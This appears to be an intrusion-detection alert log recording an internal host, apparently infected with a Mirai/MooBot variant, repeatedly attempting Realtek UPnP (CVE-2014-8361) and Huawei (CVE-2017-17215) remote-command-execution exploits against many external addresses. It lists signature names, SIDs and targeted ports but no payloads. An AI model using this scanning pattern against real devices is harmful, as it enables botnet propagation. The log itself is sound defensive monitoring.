Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 177.26.169.251

Timestamp:	07/20/24-23:01:13.329423
SID:	2027339
Source Port:	48140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 5.183.215.180

Timestamp:	07/20/24-23:01:33.047902
SID:	2829579
Source Port:	57374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 60.154.99.20

Timestamp:	07/20/24-23:01:06.348845
SID:	2027339
Source Port:	35828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.116.209.33

Timestamp:	07/20/24-23:01:05.898214
SID:	2829579
Source Port:	56692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.130.231.11

Timestamp:	07/20/24-23:01:07.683360
SID:	2835222
Source Port:	36400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.218.123.179

Timestamp:	07/20/24-23:01:22.776061
SID:	2835222
Source Port:	48444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 87.184.45.167

Timestamp:	07/20/24-23:01:34.899753
SID:	2831300
Source Port:	56970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 183.15.201.247

Timestamp:	07/20/24-23:01:34.964842
SID:	2027339
Source Port:	58016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.5.87.246

Timestamp:	07/20/24-23:01:02.440657
SID:	2829579
Source Port:	32874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.59.41.138

Timestamp:	07/20/24-23:01:37.231056
SID:	2835222
Source Port:	36618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.121.232.89

Timestamp:	07/20/24-23:01:19.221490
SID:	2835222
Source Port:	50800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 175.88.111.112

Timestamp:	07/20/24-23:01:14.398477
SID:	2835222
Source Port:	51596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 46.245.236.24

Timestamp:	07/20/24-23:01:28.183799
SID:	2829579
Source Port:	37648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 43.140.238.166

Timestamp:	07/20/24-23:01:29.179619
SID:	2027339
Source Port:	60338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.132.79.26

Timestamp:	07/20/24-23:01:33.036114
SID:	2835222
Source Port:	40424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 58.141.211.31

Timestamp:	07/20/24-23:01:06.343371
SID:	2027339
Source Port:	36614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 58.186.168.57

Timestamp:	07/20/24-23:01:29.182229
SID:	2831300
Source Port:	34864
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 112.133.158.101

Timestamp:	07/20/24-23:01:28.180178
SID:	2829579
Source Port:	35960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 27.8.13.50

Timestamp:	07/20/24-23:01:29.170361
SID:	2027339
Source Port:	47582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 186.224.19.191

Timestamp:	07/20/24-23:01:24.078416
SID:	2831300
Source Port:	46158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 79.163.220.136

Timestamp:	07/20/24-23:01:13.330569
SID:	2027339
Source Port:	56976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 101.71.112.133

Timestamp:	07/20/24-23:01:13.329009
SID:	2831300
Source Port:	39628
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.251.228.219

Timestamp:	07/20/24-23:01:14.397786
SID:	2829579
Source Port:	57088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 178.14.114.28

Timestamp:	07/20/24-23:01:34.927043
SID:	2831300
Source Port:	53100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.199.221.47

Timestamp:	07/20/24-23:01:02.440637
SID:	2829579
Source Port:	44376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.160.22.239

Timestamp:	07/20/24-23:01:37.122115
SID:	2829579
Source Port:	54322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 1.85.153.115

Timestamp:	07/20/24-23:01:34.907114
SID:	2831300
Source Port:	42378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.37.247.254

Timestamp:	07/20/24-23:01:28.216939
SID:	2835222
Source Port:	48298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.16.136.252

Timestamp:	07/20/24-23:01:19.220762
SID:	2829579
Source Port:	53518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.149.237.12

Timestamp:	07/20/24-23:01:19.221962
SID:	2829579
Source Port:	60376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.126.220.250

Timestamp:	07/20/24-23:01:25.283565
SID:	2829579
Source Port:	48574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:01.784059
SID:	2030490
Source Port:	37548
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 142.63.99.254

Timestamp:	07/20/24-23:01:34.914909
SID:	2027339
Source Port:	57470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.37.177.219

Timestamp:	07/20/24-23:01:02.412791
SID:	2829579
Source Port:	54692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.156.155.77

Timestamp:	07/20/24-23:01:13.335387
SID:	2027339
Source Port:	37002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 85.249.61.53

Timestamp:	07/20/24-23:01:07.658956
SID:	2835222
Source Port:	50664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 194.147.115.196

Timestamp:	07/20/24-23:01:13.331580
SID:	2831300
Source Port:	55402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 217.244.72.189

Timestamp:	07/20/24-23:01:06.150964
SID:	2025132
Source Port:	48016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.198.171.240

Timestamp:	07/20/24-23:01:05.895886
SID:	2829579
Source Port:	51024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.111.225.219

Timestamp:	07/20/24-23:01:14.406186
SID:	2829579
Source Port:	44172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 200.240.232.128

Timestamp:	07/20/24-23:01:28.219332
SID:	2835222
Source Port:	57656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.120.40.109

Timestamp:	07/20/24-23:01:07.680463
SID:	2829579
Source Port:	55686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 174.128.37.204

Timestamp:	07/20/24-23:01:33.049931
SID:	2835222
Source Port:	49380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.223.113.217

Timestamp:	07/20/24-23:01:19.221490
SID:	2829579
Source Port:	33374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 197.254.135.133

Timestamp:	07/20/24-23:01:29.171040
SID:	2831300
Source Port:	39428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 80.163.154.51

Timestamp:	07/20/24-23:01:33.068258
SID:	2829579
Source Port:	55566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 152.71.212.76

Timestamp:	07/20/24-23:01:02.414687
SID:	2829579
Source Port:	59254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.180.225.158

Timestamp:	07/20/24-23:01:07.684526
SID:	2835222
Source Port:	41978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.169.74.201

Timestamp:	07/20/24-23:01:33.159213
SID:	2027339
Source Port:	52504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 162.138.211.72

Timestamp:	07/20/24-23:01:05.791886
SID:	2025132
Source Port:	42764
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.35.100.147

Timestamp:	07/20/24-23:01:33.094838
SID:	2835222
Source Port:	40328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 188.64.202.52

Timestamp:	07/20/24-23:01:13.332260
SID:	2831300
Source Port:	44518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.97.200.193

Timestamp:	07/20/24-23:01:28.200134
SID:	2829579
Source Port:	60196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 189.144.99.123

Timestamp:	07/20/24-23:01:24.075979
SID:	2831300
Source Port:	49244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 52.221.200.218

Timestamp:	07/20/24-23:01:29.185354
SID:	2027339
Source Port:	48490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 162.138.211.72

Timestamp:	07/20/24-23:01:13.330519
SID:	2027339
Source Port:	43944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 75.5.28.91

Timestamp:	07/20/24-23:01:29.567553
SID:	2027339
Source Port:	43538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 44.203.11.143

Timestamp:	07/20/24-23:01:34.940230
SID:	2831300
Source Port:	50294
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.8.234.46

Timestamp:	07/20/24-23:01:02.412965
SID:	2829579
Source Port:	58610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 141.224.95.108

Timestamp:	07/20/24-23:01:05.838650
SID:	2027339
Source Port:	45678
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.112.178.52

Timestamp:	07/20/24-23:01:37.214680
SID:	2835222
Source Port:	43478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 111.237.207.198

Timestamp:	07/20/24-23:01:29.175082
SID:	2831300
Source Port:	40484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 87.184.45.167

Timestamp:	07/20/24-23:01:29.537701
SID:	2027339
Source Port:	55456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 42.124.189.109

Timestamp:	07/20/24-23:01:05.898214
SID:	2829579
Source Port:	40646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.68.136.32

Timestamp:	07/20/24-23:01:11.460861
SID:	2835222
Source Port:	57404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 223.29.150.196

Timestamp:	07/20/24-23:01:34.899907
SID:	2027339
Source Port:	41680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 198.253.51.117

Timestamp:	07/20/24-23:01:34.920034
SID:	2831300
Source Port:	44438
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.38.206.56

Timestamp:	07/20/24-23:01:14.454899
SID:	2835222
Source Port:	49632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 47.67.168.49

Timestamp:	07/20/24-23:01:06.227443
SID:	2027339
Source Port:	44250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.130.49.5

Timestamp:	07/20/24-23:01:22.804406
SID:	2835222
Source Port:	38786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.5.244.222

Timestamp:	07/20/24-23:01:28.182157
SID:	2835222
Source Port:	57826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.206.61.138

Timestamp:	07/20/24-23:01:11.481655
SID:	2829579
Source Port:	54620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.212.179.177

Timestamp:	07/20/24-23:01:02.412965
SID:	2829579
Source Port:	57418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.143.78.242

Timestamp:	07/20/24-23:01:14.397956
SID:	2829579
Source Port:	42496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 147.24.204.167

Timestamp:	07/20/24-23:01:13.333893
SID:	2027339
Source Port:	39776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 160.160.84.223

Timestamp:	07/20/24-23:01:34.942495
SID:	2831300
Source Port:	55620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.211.184.211

Timestamp:	07/20/24-23:01:22.783280
SID:	2829579
Source Port:	48636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.12.253.202

Timestamp:	07/20/24-23:01:07.668439
SID:	2835222
Source Port:	50102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.252.238.17

Timestamp:	07/20/24-23:01:34.945022
SID:	2027339
Source Port:	51246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.171.70.30

Timestamp:	07/20/24-23:01:02.410541
SID:	2835222
Source Port:	33888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.104.226.171

Timestamp:	07/20/24-23:01:07.682290
SID:	2835222
Source Port:	44808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.216.231

Timestamp:	07/20/24-23:01:14.401003
SID:	2835222
Source Port:	49250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.154.38.130

Timestamp:	07/20/24-23:01:29.175082
SID:	2027339
Source Port:	33652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.217.234.179

Timestamp:	07/20/24-23:01:19.233507
SID:	2835222
Source Port:	35484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.83.41.154

Timestamp:	07/20/24-23:01:14.400300
SID:	2835222
Source Port:	47980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.110.196.75

Timestamp:	07/20/24-23:01:33.037346
SID:	2835222
Source Port:	48318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 115.118.201.201

Timestamp:	07/20/24-23:01:13.332408
SID:	2831300
Source Port:	58112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.190.70.16

Timestamp:	07/20/24-23:01:14.416273
SID:	2835222
Source Port:	41724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.77.0.48

Timestamp:	07/20/24-23:01:14.400300
SID:	2829579
Source Port:	52432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.87.213.70

Timestamp:	07/20/24-23:01:07.666600
SID:	2835222
Source Port:	50262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.59.173.180

Timestamp:	07/20/24-23:01:05.901568
SID:	2835222
Source Port:	35886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 206.125.101.194

Timestamp:	07/20/24-23:01:34.932468
SID:	2831300
Source Port:	38506
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 77.164.7.36

Timestamp:	07/20/24-23:01:13.331310
SID:	2027339
Source Port:	51646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 165.198.120.17

Timestamp:	07/20/24-23:01:07.346484
SID:	2027339
Source Port:	47988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 45.184.153.75

Timestamp:	07/20/24-23:01:34.910408
SID:	2027339
Source Port:	51222
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.94.156.231

Timestamp:	07/20/24-23:01:11.480465
SID:	2835222
Source Port:	45266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.27.117.169

Timestamp:	07/20/24-23:01:02.414851
SID:	2829579
Source Port:	42126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.107.164.92

Timestamp:	07/20/24-23:01:05.905239
SID:	2835222
Source Port:	46630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.5.49.247

Timestamp:	07/20/24-23:01:07.658956
SID:	2829579
Source Port:	42562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.164.205.158

Timestamp:	07/20/24-23:01:25.230310
SID:	2835222
Source Port:	47230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.173.125.40

Timestamp:	07/20/24-23:01:33.068258
SID:	2835222
Source Port:	49572
Destination Port:	37215
Protocol:	TCP
